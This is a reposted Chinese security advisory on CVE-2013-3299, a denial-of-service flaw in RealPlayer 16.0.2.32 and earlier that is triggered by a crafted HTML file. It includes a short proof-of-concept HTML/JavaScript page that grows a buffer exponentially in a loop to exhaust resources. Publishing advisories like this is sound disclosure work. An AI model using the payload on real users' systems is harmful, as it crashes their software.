Real Player资源耗尽漏洞

发布日期:2013-04-23
更新日期:2013-07-04

受影响系统:
Real Networks RealPlayer <= 16.0.2.32
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CVE-2013-3299

RealPlayer是网上收听收看实时音频、视频和Flash的工具。

Real Player <= 16.0.2.32在实现上存在资源耗尽漏洞,在处理特制的HTML文件时,Real Player使用了该文件中的值控制循环操作,在使用该值之前未能正确验证,导致拒绝服务。

<*来源:Akshaysinh Vaghela
 
  链接:
       
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



POC Exploit code:

<html>
<head>
<script language="JavaScript">
      {
        var buffer = '\x41'
    for(i=0; i <= 100 ; ++i)
        {
    buffer+=buffer+buffer
        document.write(buffer);
        }
}
</script>
</head>
</html>

建议:
--------------------------------------------------------------------------------
厂商补丁:

Real Networks
-------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/pxjws.html